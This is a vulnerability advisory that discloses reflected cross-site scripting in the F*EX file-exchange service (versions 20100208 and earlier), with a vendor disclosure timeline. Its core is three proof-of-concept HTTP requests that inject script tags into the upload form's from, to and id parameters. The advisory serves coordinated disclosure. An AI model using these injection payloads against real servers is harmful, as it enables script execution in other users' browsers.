F*EX 20100208 Cross Site Scripting

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F*EX <= 20100208 Cross Site Scripting Vulnerabilities  
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title.............: F*EX <= 20100208 Cross Site Scripting Vulnerabilities  
author............: muuratsalo   
contact...........: muuratsalo[at]gmail[dot]com  
download..........: http://fex.rus.uni-stuttgart.de/fex.html  
tested on.........: Debian 6.0.4 (squeeze) - package fex_20100208+debian1-1+squeeze1_all.deb  
  
  
========================================================================  
  
muuratsalo | muuratsalo experimental hack lab is a proud member of the Revshell.com community  
  
========================================================================  
  
[0x01] Software overview  
  
F*EX (Frams's Fast File EXchange) is a service (GPL software) that can be  
used to allow users anywhere on the Internet to exchange files of ANY size  
quickly and conveniently. The sender uploads the file to the F*EX-server  
and the recipient automatically gets a notification e-mail with a  
download-URL. The sender must be a registered user in opposite to the  
recipient.  
  
========================================================================  
  
[0x02] Vulnerabilities overview  
  
F*EX <= 20100208 suffers from multiple Cross Site Scripting attacks (Reflected) in the WWW upload form.  
  
========================================================================  
  
[0x03] Disclosure timeline  
  
[2012-02-01] - Multiple vulnerabilities discovered and reported to the author of the software.  
[2012-02-02] - The author confirmed the vulnerabilities and applied the suggested fixes.  
[2012-02-03] - Further analysis requested.  
[2012-02-13] - Very minor security hints applied.  
[2012-02-15] - F*EX major update - 20120215  
[2012-02-20] - Public disclosure  
  
========================================================================  
  
[0x04] Vulnerabilities  
  
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*** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [from parameter] ***  
  
POST /fup HTTP/1.1  
Host: 192.168.1.3:8888  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)  
Connection: close  
Referer: http://192.168.1.3:8888/fup  
Content-Type: multipart/form-data; boundary=--------1922591683  
Content-Length: 233  
  
----------1922591683  
Content-Disposition: form-data; name="id"  
  
  
----------1922591683  
Content-Disposition: form-data; name="to"  
  
  
----------1922591683  
Content-Disposition: form-data; name="from"  
  
38c66<script>alert(1)</script>b08f61c45c6  
----------1922591683--  
  
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*** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [to parameter] ***  
  
POST /fup HTTP/1.1  
Host: 192.168.1.3:8888  
Accept: */*  
Accept-Language: en  
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)  
Connection: close  
Referer: http://192.168.1.3:8888/fup  
Content-Type: multipart/form-data; boundary=--------1922591683  
Content-Length: 233  
  
----------1922591683  
Content-Disposition: form-data; name="id"  
  
  
----------1922591683  
Content-Disposition: form-data; name="to"  
  
38c66<script>alert(1)</script>b08f61c45c6  
  
----------1922591683  
Content-Disposition: form-data; name="from"  
  
----------1922591683--  
  
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*** Cross Site Scripting (Reflected) -- http://localhost:8888/fup [id parameter] ***  
  
GET /fup?id=38c66"><script>alert(1)</script>b08f61c45c6&to=%0d&from=%0d HTTP/1.1  
  
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